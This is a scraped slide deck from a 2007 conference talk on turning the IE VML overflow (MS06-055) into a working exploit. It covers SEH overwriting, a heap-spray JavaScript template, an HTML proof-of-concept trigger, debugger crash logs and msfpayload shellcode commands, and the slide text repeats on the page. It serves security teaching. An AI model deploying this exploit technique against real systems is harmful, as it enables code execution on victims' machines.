SlideShare a Scribd company logo
More on Metasploit plugins from vulnerability to exploit Saumil Shah ceo, net-square IT Underground - Prague 2007
Saumil Shah - “krafty” ceo, net-square solutions [email_address] author: “Web Hacking - Attacks and Defense” # who am i # who am i 16:08  up  4:26, 1 user, load averages: 0.28 0.40 0.33 USER  TTY  FROM  LOGIN@  IDLE WHAT saumil  console  -  11:43  0:05 bash
From Vulnerability to Exploit Fuzzing EIP = 0x41414141 Debugger Attack Vector Reliable EIP return address Bad characters Test Shellcode (INT 3) INT 3? Final Shellcode Working exploit Shellcode Handling
The CPU’s registers The Intel 32-bit x86 registers: ESP EAX EBP EBX ESI ECX EDI EDX EIP accumulator base counter data instruction pointer destination index source index base pointer stack pointer
The Process Memory Map environment vars cmd line arguments **envp **argv argc main() local vars … v  heap ^  stack … heap - malloc’ed data .bss .data .text 0xc0000000 0x08000000
Win32 Process Memory Map No access Shared user page PEB First TEB DLLs DLLs DLLs heap program image error trapping 0x7FFFFFFF 0x00000000 0x00010000 stack 0x7FFE1000 0x7FFE0000 0x7FFDF000 0x7FFDE000 0x40000000
Exploit example - IE VML overflow Buffer overflow in IE’s VML implementation MS06-055 <v:fillmethod=“AAAAAAAA…”> Exploiting IE 6 on XP SP2 Triggering the exploit by overwriting SEH
Windows SEH SEH - Structured Exception Handler Windows pops up a dialog box: Default handler kicking in.
Exception handling Try / catch block Pointer to the exception handling code also saved on the stack, for each code block. try { :  code that may throw :  an exception. } catch { :  attempt to recover from :  the exception gracefully. }
Exception handling … implementation params saved EIP saved EBP Bottom of stack more frames frame w/ exception handling local vars addr of exception handler exception handler code (catch block)
SEH Record Each SEH record is of 8 bytes These SEH records are found on the stack. In sequence with the functions being called, interspersed among function (block) frames. WinDBG command - !exchain address of exception handler ptr to next SEH record
SEH Chain Each SEH record is of 8 bytes addr of ex_handler1 ptr to SEH_record_2 addr of ex_handler2 ptr to next SEH_record_n default exception handler 0xFFFFFFFF MSVCRT!exhandler ex_handler1() ex_handler2() bottom of stack
SEH on the stack address of exception handler 0xFFFFFFFF main() ^  stack func_z() initial entry frame MSVCRT!exhandler address of exception handler ptr to next SEH record ex_handler_z() params saved EBP saved EIP local vars
Yet another way of getting EIP Overwrite one of the addresses of the registered exception handlers… … and, make the process throw an exception! If no custom exception handlers are registered, overwrite the default SEH. Might have to travel way down the stack… … but in doing so, you get a long buffer!
Overwriting SEH address of exception handler ptr to next SEH record ex_handler() params saved EBP saved EIP buffer
Overwriting SEH AAAA AAAA AAAA :  :  : AAAA AAAA ex_handler() AAAA AAAA AAAA AAAA AAAA Illegal memory access causes segmentation fault. OS invokes registered exception handler in the chain EIP = 0x42424242 AAAA
ie_vml1 proof of concept: <head> <object id=&quot;VMLRender” classid=&quot;CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E&quot;> </object> <style>v\:* { behavior: url(#VMLRender); }</style> </head> <body> <v:rect style='width:120pt;height:80pt' fillcolor=&quot;red&quot;> <script> document.write(&quot;<v:fill method =\&quot;&quot;); for(i = 0; i < 2625; i++) document.write(&quot;&#x4141&#x4141&#x4141&#x4141&quot;); document.write(&quot;\&quot;>&quot;); </script> </v:rect></v:fill></body>
Setting up the exploit On your host Run daemon.pl to serve up ie_vml1.html On the Windows box start up iexplore start up WinDBG press F6 in WinDBG and attach to iexplore.exe $ ./daemon.pl ie_vml1.html  [*] Starting HTTP server on 8080 0:005> gh
Crashing IE Surf to http://192.168.7.xxx:8080/ The SEH record is overwritten. (18c.584): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0013b4c4 ebx=001df20c ecx=0013b4b8 edx=00004141 esi=0000259e edi=00140000 eip=5deded1e esp=0013b4a0 ebp=0013b6c8 iopl=0  nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00000206 *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\VGX\vgx.dll -  vgx!$DllMain$_gdiplus+0x30e8d: 5deded1e 668917  mov  [edi],dx  ds:0023:00140000=6341 0:000> !exchain 0013e420: 41414141 Invalid exception stack at 41414141
Crashing IE Surf to http://192.168.7.xxx:8080/ 0:000> !exchain 0013e420: 41414141 Invalid exception stack at 41414141 0:000> g (18c.584): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000 eip=41414141 esp=0013b0d0 ebp=0013b0f0 iopl=0  nv up ei pl zr na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00000246 41414141 ??  ???
EIP = 0x41414141 We control EIP. Where do you want to go…? Direct return to stack? XP SP2 doesn’t allow it. Jump through registers? EDX ESP and EBP are the only possible options…but they don’t point to our buffer. Other registers are cleared, thanks to XP SP2. XP SP2 also forbids jumping into DLLs.
How do we pull it off? In other circumstances, we’d have to go through long tedious routes… … or publish a DoS exploit and call it a day. L4m3 We are exploiting a browser Browsers run Javascript Javascript has arrays Javascript arrays occupy heap memory
Loading our buffer in the heap Can we load our shellcode in the heap via Javascript? How do we know where our buffer lies? Direct jump into heap? yes! that is possible.
Heap Spraying Technique pioneered by Skylined Make a VERY large NOP sled Append shellcode at its end Create multiple instances of this NOP sled in the heap memory using Javascript arrays… a[0] = str; a[1] = str… The heap gets “sprayed” with our payloads. Land somewhere in the NOPs, and you win.
Heap Spraying NOP sled shellcode NOP sled shellcode NOP sled shellcode <script> : spray = build_large_nopsled(); a = new Array(); for(i = 0; i < 100; i++) a[i] = spray + shellcode; : </script> <html> : exploit trigger condition goes here : </html> a[7] a[8] a[9]
Tips on Heap Spraying Make really large NOP sleds approx 800,000 bytes per spray block Adjust the size of the NOP sled to leave very little holes inbetween spray blocks. Javascript Unicode encoding works great for shellcode. shellcode = unescape(“%uXXXX%uXXXX…”); Null bytes are not a problem anymore.
ie_vml2 On your host Run daemon.pl to serve up ie_vml2.html On the Windows box start up iexplore start up WinDBG press F6 in WinDBG and attach to iexplore.exe $ ./daemon.pl ie_vml2.html  [*] Starting HTTP server on 8080 0:005> gh
Crashing IE again INT3 shellcode. Look for “90 90 90 90 cc cc cc cc” in the memory after IE crashes. 0:000> s 02000000 l fffffff 90 90 90 90 cc cc cc cc 02150020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02360020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02570020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02780020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02990020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02ba0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02db0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 02fc0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 031d0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ 033e0020  90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc  ................ : : :
Jump to heap We can point EIP to any of the sprayed blocks. Arbitrarily choose addresses 0x03030303 0x04040404 0x05050505…etc. ie_vml3.html jumps to 0x05050505 Got INT 3?
Introducing Metasploit An advanced open-source exploit research and development framework. http://metasploit.com Current stable version: 2.7 Written in Perl, runs on Unix and Win32 (cygwin) Brand new 3.0 Complete rewrite in Ruby
Introducing Metasploit Generate shellcode. Shellcode encoding. Shellcode handlers. Scanning binaries for specific instructions: e.g. POP/POP/RET, JMP ESI, etc. Ability to add custom exploits, shellcode, encoders. … and lots more.
Enter Shellcode Code assembled in the CPU’s native instruction set. Injected as a part of the buffer that is overflowed. Most typical function of the injected code is to “spawn a shell” - ergo “shellcode”. A buffer containing shellcode is termed as “payload”.
Writing Shellcode Need to know the CPU’s native instruction set: e.g. x86 (ia32), x86-64 (ia64), ppc, sparc, etc. Tight assembly language. OS specific system calls. Shellcode libraries and generators. Metasploit Framework.
Injecting the shellcode Easiest way is to pack it in the buffer overflow data itself. Place it somewhere in the payload data. Need to figure out where it will reside in the memory of the target process.
A little about shellcode Types of shellcode: Bind shell Exec command Reverse shell Staged shell, etc. Advanced techniques: Meterpreter Uploading and running DLLs “in-process” … etc.
Payload Encoders Payload encoders create encoded shellcode, which meets certain criteria. e.g. Alpha2 generates resultant shellcode which is only alphanumeric. Allows us to bypass any protocol parsing mechanisms / byte filters. An extra “decoder” is added to the beginning of the shellcode. size may increase.
Payload Encoders Example: Alpha2 encoding Transforms raw payload into alphanumeric only shellcode. Decoder decodes the payload “in-memory”. decoder UnWQ89Jas281EEIIkla2wnhaAS901las original shellcode (ascii 0-255)
Payload Encoders Metasploit offers many types of encoders. Work around protocol parsing e.g. avoid CR, LF, NULL toupper(), tolower(), etc. Defeat IDS Polymorphic Shellcode Shikata Ga Nai
Using Metasploit to generate shellcode We need Javascript Unicode encoded shellcode. We will run “calc.exe” msfpayload - cmdline shellcode generation. msfencode - cmdline shellcode encoder. jsencode.pl - wrapper around Metasploit’s Pex::Utils::JSUnescape() function.
Generate JSencoded shellcode: Final version ie_vml4.html contains working shellcode. A slight problem too many CALCs! Generate calc.exe shellcode $ ./msfpayload win32_exec EXITFUNC=“seh” CMD=“calc.exe” R | ./jsencode.pl
Exit function - “thread” vs. “seh” Exiting via SEH causes the whole thing to repeat itself. Re-generate the shellcode using EXITFUNC=“thread” $ ./msfpayload win32_exec EXITFUNC=“thread” CMD=“calc.exe” R | ./jsencode.pl
Writing Metasploit exploit modules Integration within the Metasploit framework. Multiple target support. Dynamic payload selection. Dynamic payload encoding. Built-in payload handlers. Can use advanced payloads. … a highly portable, flexible and rugged exploit!
How Metasploit runs an exploit List of known target values user supplied exploit info Metasploit Shellcode Library Encoders Payload handlers create payload launch attack get connection EXPLOIT preamble
Writing a Metasploit exploit Perl module (2.6), Ruby module (3.0) Pre-existing data structures %info, %advanced Constructor sub new {…} Exploit code sub Exploit {…}
Structure of the exploit perl module package Msf::Exploit::name; use base “Msf::Exploit”; use strict; use Pex::Text; my $advanced = { }; my $info = { }; sub new { } sub Exploit { } information block constructor return an instance of our exploit exploit block
%info Name Version Authors Arch OS Priv UserOpts Payload Encoder Refs DefaultTarget Targets Keys
Metasploit Pex Perl EXtensions. <metasploit_home>/lib/Pex.pm <metasploit_home>/lib/Pex/ Text processing routines. Socket management routines. Protocol specific routines. These and more are available for us to use in our exploit code.
Pex::Text Encoding and Decoding (e.g. Base64) Pattern Generation Random text generation (to defeat IDS) Padding … etc
Pex::Socket TCP UDP SSL TCP Raw UDP
Pex - protocol specific utilities SMB DCE RPC SunRPC MSSQL … etc
Pex - miscellaneous utilities Pex::Utils Array and hash manipulation Bit rotates Read and write files Format String generator Create Win32 PE files Create Javascript arrays … a whole lot of miscellany!
metasploit_skel.pm A skeleton exploit module. Walk-through. Can use this skeleton to code up exploit modules. Place finished exploit modules in: <path_to_metasploit>/exploits/
Finished examples my_ie_vml.pm
Some command line Metasploit tools msfcli Metasploit command line interface. Can script up metasploit framework actions in a non-interactive manner. msfpayload Generate payload with specific options. msfencode Encode generated payload.
More command line Metasploit tools msfweb Web interface to the Metasploit framework. msfupdate Live update for the Metasploit framework.
New in Version 3.0 msfd Metasploit daemon, allows for client-server operation of Metasploit. msfopcode command line interface to Metasploit’s online opcode database. msfwx a GUI interface using wxruby.
New in Version 3.0 New payloads, new encoders. Ruby extension - Rex (similar to Pex) NASM shell. Back end Database support. … whole lot of goodies here and there.
Thank You! Saumil Shah [email_address] http://net-square.com +91 98254 31192

More Related Content

What's hot (20)

PPTX
Threat Hunting
Splunk
 
PDF
Ceh v5 module 07 sniffers
Vi Tính Hoàng Nam
 
PPTX
Metasploit
henelpj
 
PPTX
Bsides 2019 - Intelligent Threat Hunting
Dhruv Majumdar
 
PDF
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
 
PPTX
Malware Static Analysis
Hossein Yavari
 
PDF
Threat Hunting Report
Morane Decriem
 
PPTX
Pentesting iOS Applications
jasonhaddix
 
PDF
Pwning in c++ (basic)
Angel Boy
 
PPTX
SSRF For Bug Bounties
OWASP Nagpur
 
PDF
Super Easy Memory Forensics
IIJ
 
PDF
Ceh v5 module 02 footprinting
Vi Tính Hoàng Nam
 
PDF
A Threat Hunter Himself
Sergey Soldatov
 
PPTX
Introduction to penetration testing
Nezar Alazzabi
 
PPTX
Metasploit For Beginners
Ramnath Shenoy
 
PDF
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
Michael Gough
 
PDF
Ceh v5 module 04 enumeration
Vi Tính Hoàng Nam
 
PDF
Ceh v5 module 03 scanning
Vi Tính Hoàng Nam
 
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
PDF
Global Cyber Threat Intelligence
NTT Innovation Institute Inc.
 
Threat Hunting
Splunk
 
Ceh v5 module 07 sniffers
Vi Tính Hoàng Nam
 
Metasploit
henelpj
 
Bsides 2019 - Intelligent Threat Hunting
Dhruv Majumdar
 
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
 
Malware Static Analysis
Hossein Yavari
 
Threat Hunting Report
Morane Decriem
 
Pentesting iOS Applications
jasonhaddix
 
Pwning in c++ (basic)
Angel Boy
 
SSRF For Bug Bounties
OWASP Nagpur
 
Super Easy Memory Forensics
IIJ
 
Ceh v5 module 02 footprinting
Vi Tính Hoàng Nam
 
A Threat Hunter Himself
Sergey Soldatov
 
Introduction to penetration testing
Nezar Alazzabi
 
Metasploit For Beginners
Ramnath Shenoy
 
MW_Arch Fastest_way_to_hunt_on_Windows_v1.01
Michael Gough
 
Ceh v5 module 04 enumeration
Vi Tính Hoàng Nam
 
Ceh v5 module 03 scanning
Vi Tính Hoàng Nam
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
Global Cyber Threat Intelligence
NTT Innovation Institute Inc.
 

Viewers also liked (20)

PDF
Anatomy of A Shell Code, Reverse engineering
Abhineet Ayan
 
PDF
Linux Shellcode disassembling
Harsh Daftary
 
PPTX
07 - Bypassing ASLR, or why X^W matters
Alexandre Moneger
 
ODP
Design and implementation_of_shellcodes
Amr Ali
 
PDF
Efficient Bytecode Analysis: Linespeed Shellcode Detection
Georg Wicherski
 
PPTX
05 - Bypassing DEP, or why ASLR matters
Alexandre Moneger
 
PDF
Shellcode and heapspray detection in phoneyc
Z Chen
 
PPTX
Java Shellcode Execution
Ryan Wincey
 
PDF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Michele Orru
 
PPTX
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
Ajin Abraham
 
PDF
Talking about exploit writing
sbha0909
 
PPTX
Anton Dorfman. Shellcode Mastering.
Positive Hack Days
 
PDF
Shellcode Analysis - Basic and Concept
Julia Yu-Chin Cheng
 
PPTX
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
midnite_runr
 
PDF
Hacking school computers for fun profit and better grades short
Vincent Ohprecio
 
PPT
Metasploit-TOI-Ebryx-PVT-Ltd
Ali Hussain
 
PDF
Informationssicherheit im Übersetzungsprozess
Hans Pich
 
PDF
Penetration test
Digicomp Academy AG
 
PPTX
Exploit Research and Development Megaprimer: Win32 Egghunter
Ajin Abraham
 
PPTX
Tranning-2
Ali Hussain
 
Anatomy of A Shell Code, Reverse engineering
Abhineet Ayan
 
Linux Shellcode disassembling
Harsh Daftary
 
07 - Bypassing ASLR, or why X^W matters
Alexandre Moneger
 
Design and implementation_of_shellcodes
Amr Ali
 
Efficient Bytecode Analysis: Linespeed Shellcode Detection
Georg Wicherski
 
05 - Bypassing DEP, or why ASLR matters
Alexandre Moneger
 
Shellcode and heapspray detection in phoneyc
Z Chen
 
Java Shellcode Execution
Ryan Wincey
 
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Michele Orru
 
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
Ajin Abraham
 
Talking about exploit writing
sbha0909
 
Anton Dorfman. Shellcode Mastering.
Positive Hack Days
 
Shellcode Analysis - Basic and Concept
Julia Yu-Chin Cheng
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
midnite_runr
 
Hacking school computers for fun profit and better grades short
Vincent Ohprecio
 
Metasploit-TOI-Ebryx-PVT-Ltd
Ali Hussain
 
Informationssicherheit im Übersetzungsprozess
Hans Pich
 
Penetration test
Digicomp Academy AG
 
Exploit Research and Development Megaprimer: Win32 Egghunter
Ajin Abraham
 
Tranning-2
Ali Hussain
 
Ad

Similar to Writing Metasploit Plugins (20)

PPTX
Software to the slaughter
Quinn Wilton
 
PDF
Dive into exploit development
Payampardaz
 
PDF
Buffer Overflow - Smashing the Stack
ironSource
 
PPTX
Buffer overflow – Smashing The Stack
Tomer Zait
 
PPTX
Vulnerability, exploit to metasploit
Tiago Henriques
 
PDF
[ENG] Hacktivity 2013 - Alice in eXploitland
Zoltan Balazs
 
PPTX
Anatomy of a Buffer Overflow Attack
Rob Gillen
 
PDF
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
Elvin Gentiles
 
TXT
Exploit techniques - a quick review
Ce.Se.N.A. Security
 
PPTX
ETCSS: Into the Mind of a Hacker
Rob Gillen
 
PDF
Buffer Overflow Attacks
securityxploded
 
PDF
Buffer overflow Attacks
Cysinfo Cyber Security Community
 
PDF
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
PDF
Structured Exception Handler Exploitation
High-Tech Bridge SA (HTBridge)
 
PDF
Exploitation and State Machines
Michael Scovetta
 
PPTX
Return Oriented Programming (ROP) Based Exploits - Part I
n|u - The Open Security Community
 
PDF
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
PDF
Basic buffer overflow part1
Payampardaz
 
PDF
Writing exploits
Security Session
 
PDF
Nethemba - Writing exploits
OWASP (Open Web Application Security Project)
 
Software to the slaughter
Quinn Wilton
 
Dive into exploit development
Payampardaz
 
Buffer Overflow - Smashing the Stack
ironSource
 
Buffer overflow – Smashing The Stack
Tomer Zait
 
Vulnerability, exploit to metasploit
Tiago Henriques
 
[ENG] Hacktivity 2013 - Alice in eXploitland
Zoltan Balazs
 
Anatomy of a Buffer Overflow Attack
Rob Gillen
 
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
Elvin Gentiles
 
Exploit techniques - a quick review
Ce.Se.N.A. Security
 
ETCSS: Into the Mind of a Hacker
Rob Gillen
 
Buffer Overflow Attacks
securityxploded
 
Buffer overflow Attacks
Cysinfo Cyber Security Community
 
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
Rodolpho Concurde
 
Structured Exception Handler Exploitation
High-Tech Bridge SA (HTBridge)
 
Exploitation and State Machines
Michael Scovetta
 
Return Oriented Programming (ROP) Based Exploits - Part I
n|u - The Open Security Community
 
From SEH Overwrite with Egg Hunter to Get a Shell!
Rodolpho Concurde
 
Basic buffer overflow part1
Payampardaz
 
Writing exploits
Security Session
 
Ad

More from amiable_indian (20)

PDF
Phishing As Tragedy of the Commons
amiable_indian
 
PDF
Cisco IOS Attack & Defense - The State of the Art
amiable_indian
 
PDF
Secrets of Top Pentesters
amiable_indian
 
PPS
Workshop on Wireless Security
amiable_indian
 
PDF
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
amiable_indian
 
PPS
Workshop on BackTrack live CD
amiable_indian
 
PPS
Reverse Engineering for exploit writers
amiable_indian
 
PPS
State of Cyber Law in India
amiable_indian
 
PPS
AntiSpam - Understanding the good, the bad and the ugly
amiable_indian
 
PPS
Reverse Engineering v/s Secure Coding
amiable_indian
 
PPS
Network Vulnerability Assessments: Lessons Learned
amiable_indian
 
PPS
Economic offenses through Credit Card Frauds Dissected
amiable_indian
 
PPS
Immune IT: Moving from Security to Immunity
amiable_indian
 
PPS
Reverse Engineering for exploit writers
amiable_indian
 
PPS
Hacking Client Side Insecurities
amiable_indian
 
PDF
Web Exploit Finder Presentation
amiable_indian
 
PPT
Network Security Data Visualization
amiable_indian
 
PPT
Enhancing Computer Security via End-to-End Communication Visualization
amiable_indian
 
PDF
Top Network Vulnerabilities Over Time
amiable_indian
 
PDF
What are the Business Security Metrics?
amiable_indian
 
Phishing As Tragedy of the Commons
amiable_indian
 
Cisco IOS Attack & Defense - The State of the Art
amiable_indian
 
Secrets of Top Pentesters
amiable_indian
 
Workshop on Wireless Security
amiable_indian
 
Insecure Implementation of Security Best Practices: of hashing, CAPTCHA's and...
amiable_indian
 
Workshop on BackTrack live CD
amiable_indian
 
Reverse Engineering for exploit writers
amiable_indian
 
State of Cyber Law in India
amiable_indian
 
AntiSpam - Understanding the good, the bad and the ugly
amiable_indian
 
Reverse Engineering v/s Secure Coding
amiable_indian
 
Network Vulnerability Assessments: Lessons Learned
amiable_indian
 
Economic offenses through Credit Card Frauds Dissected
amiable_indian
 
Immune IT: Moving from Security to Immunity
amiable_indian
 
Reverse Engineering for exploit writers
amiable_indian
 
Hacking Client Side Insecurities
amiable_indian
 
Web Exploit Finder Presentation
amiable_indian
 
Network Security Data Visualization
amiable_indian
 
Enhancing Computer Security via End-to-End Communication Visualization
amiable_indian
 
Top Network Vulnerabilities Over Time
amiable_indian
 
What are the Business Security Metrics?
amiable_indian
 

Recently uploaded (20)

PDF
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
PDF
Using FME to Develop Self-Service CAD Applications for a Major UK Police Force
Safe Software
 
PPTX
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
PDF
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
DOCX
Python coding for beginners !! Start now!#
Rajni Bhardwaj Grover
 
PPTX
Designing Production-Ready AI Agents
Kunal Rai
 
PDF
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
DOCX
Cryptography Quiz: test your knowledge of this important security concept.
Rajni Bhardwaj Grover
 
PDF
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
PDF
POV_ Why Enterprises Need to Find Value in ZERO.pdf
darshakparmar
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PDF
LOOPS in C Programming Language - Technology
RishabhDwivedi43
 
PPTX
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
PDF
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
PDF
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
PDF
"Beyond English: Navigating the Challenges of Building a Ukrainian-language R...
Fwdays
 
PDF
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
PDF
Staying Human in a Machine- Accelerated World
Catalin Jora
 
PDF
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
PDF
IoT-Powered Industrial Transformation – Smart Manufacturing to Connected Heal...
Rejig Digital
 
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
Using FME to Develop Self-Service CAD Applications for a Major UK Police Force
Safe Software
 
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
Python coding for beginners !! Start now!#
Rajni Bhardwaj Grover
 
Designing Production-Ready AI Agents
Kunal Rai
 
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
Cryptography Quiz: test your knowledge of this important security concept.
Rajni Bhardwaj Grover
 
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
POV_ Why Enterprises Need to Find Value in ZERO.pdf
darshakparmar
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
LOOPS in C Programming Language - Technology
RishabhDwivedi43
 
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
"Beyond English: Navigating the Challenges of Building a Ukrainian-language R...
Fwdays
 
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
Staying Human in a Machine- Accelerated World
Catalin Jora
 
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
IoT-Powered Industrial Transformation – Smart Manufacturing to Connected Heal...
Rejig Digital
 

Writing Metasploit Plugins

  • 1. More on Metasploit plugins from vulnerability to exploit Saumil Shah ceo, net-square IT Underground - Prague 2007
  • 2. Saumil Shah - “krafty” ceo, net-square solutions [email_address] author: “Web Hacking - Attacks and Defense” # who am i # who am i 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33 USER TTY FROM LOGIN@ IDLE WHAT saumil console - 11:43 0:05 bash
  • 3. From Vulnerability to Exploit Fuzzing EIP = 0x41414141 Debugger Attack Vector Reliable EIP return address Bad characters Test Shellcode (INT 3) INT 3? Final Shellcode Working exploit Shellcode Handling
  • 4. The CPU’s registers The Intel 32-bit x86 registers: ESP EAX EBP EBX ESI ECX EDI EDX EIP accumulator base counter data instruction pointer destination index source index base pointer stack pointer
  • 5. The Process Memory Map environment vars cmd line arguments **envp **argv argc main() local vars … v heap ^ stack … heap - malloc’ed data .bss .data .text 0xc0000000 0x08000000
  • 6. Win32 Process Memory Map No access Shared user page PEB First TEB DLLs DLLs DLLs heap program image error trapping 0x7FFFFFFF 0x00000000 0x00010000 stack 0x7FFE1000 0x7FFE0000 0x7FFDF000 0x7FFDE000 0x40000000
  • 7. Exploit example - IE VML overflow Buffer overflow in IE’s VML implementation MS06-055 <v:fillmethod=“AAAAAAAA…”> Exploiting IE 6 on XP SP2 Triggering the exploit by overwriting SEH
  • 8. Windows SEH SEH - Structured Exception Handler Windows pops up a dialog box: Default handler kicking in.
  • 9. Exception handling Try / catch block Pointer to the exception handling code also saved on the stack, for each code block. try { : code that may throw : an exception. } catch { : attempt to recover from : the exception gracefully. }
  • 10. Exception handling … implementation params saved EIP saved EBP Bottom of stack more frames frame w/ exception handling local vars addr of exception handler exception handler code (catch block)
  • 11. SEH Record Each SEH record is of 8 bytes These SEH records are found on the stack. In sequence with the functions being called, interspersed among function (block) frames. WinDBG command - !exchain address of exception handler ptr to next SEH record
  • 12. SEH Chain Each SEH record is of 8 bytes addr of ex_handler1 ptr to SEH_record_2 addr of ex_handler2 ptr to next SEH_record_n default exception handler 0xFFFFFFFF MSVCRT!exhandler ex_handler1() ex_handler2() bottom of stack
  • 13. SEH on the stack address of exception handler 0xFFFFFFFF main() ^ stack func_z() initial entry frame MSVCRT!exhandler address of exception handler ptr to next SEH record ex_handler_z() params saved EBP saved EIP local vars
  • 14. Yet another way of getting EIP Overwrite one of the addresses of the registered exception handlers… … and, make the process throw an exception! If no custom exception handlers are registered, overwrite the default SEH. Might have to travel way down the stack… … but in doing so, you get a long buffer!
  • 15. Overwriting SEH address of exception handler ptr to next SEH record ex_handler() params saved EBP saved EIP buffer
  • 16. Overwriting SEH AAAA AAAA AAAA : : : AAAA AAAA ex_handler() AAAA AAAA AAAA AAAA AAAA Illegal memory access causes segmentation fault. OS invokes registered exception handler in the chain EIP = 0x42424242 AAAA
  • 17. ie_vml1 proof of concept: <head> <object id=&quot;VMLRender” classid=&quot;CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E&quot;> </object> <style>v\:* { behavior: url(#VMLRender); }</style> </head> <body> <v:rect style='width:120pt;height:80pt' fillcolor=&quot;red&quot;> <script> document.write(&quot;<v:fill method =\&quot;&quot;); for(i = 0; i < 2625; i++) document.write(&quot;&#x4141&#x4141&#x4141&#x4141&quot;); document.write(&quot;\&quot;>&quot;); </script> </v:rect></v:fill></body>
  • 18. Setting up the exploit On your host Run daemon.pl to serve up ie_vml1.html On the Windows box start up iexplore start up WinDBG press F6 in WinDBG and attach to iexplore.exe $ ./daemon.pl ie_vml1.html [*] Starting HTTP server on 8080 0:005> gh
  • 19. Crashing IE Surf to http://192.168.7.xxx:8080/ The SEH record is overwritten. (18c.584): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0013b4c4 ebx=001df20c ecx=0013b4b8 edx=00004141 esi=0000259e edi=00140000 eip=5deded1e esp=0013b4a0 ebp=0013b6c8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\VGX\vgx.dll - vgx!$DllMain$_gdiplus+0x30e8d: 5deded1e 668917 mov [edi],dx ds:0023:00140000=6341 0:000> !exchain 0013e420: 41414141 Invalid exception stack at 41414141
  • 20. Crashing IE Surf to http://192.168.7.xxx:8080/ 0:000> !exchain 0013e420: 41414141 Invalid exception stack at 41414141 0:000> g (18c.584): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000 eip=41414141 esp=0013b0d0 ebp=0013b0f0 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 41414141 ?? ???
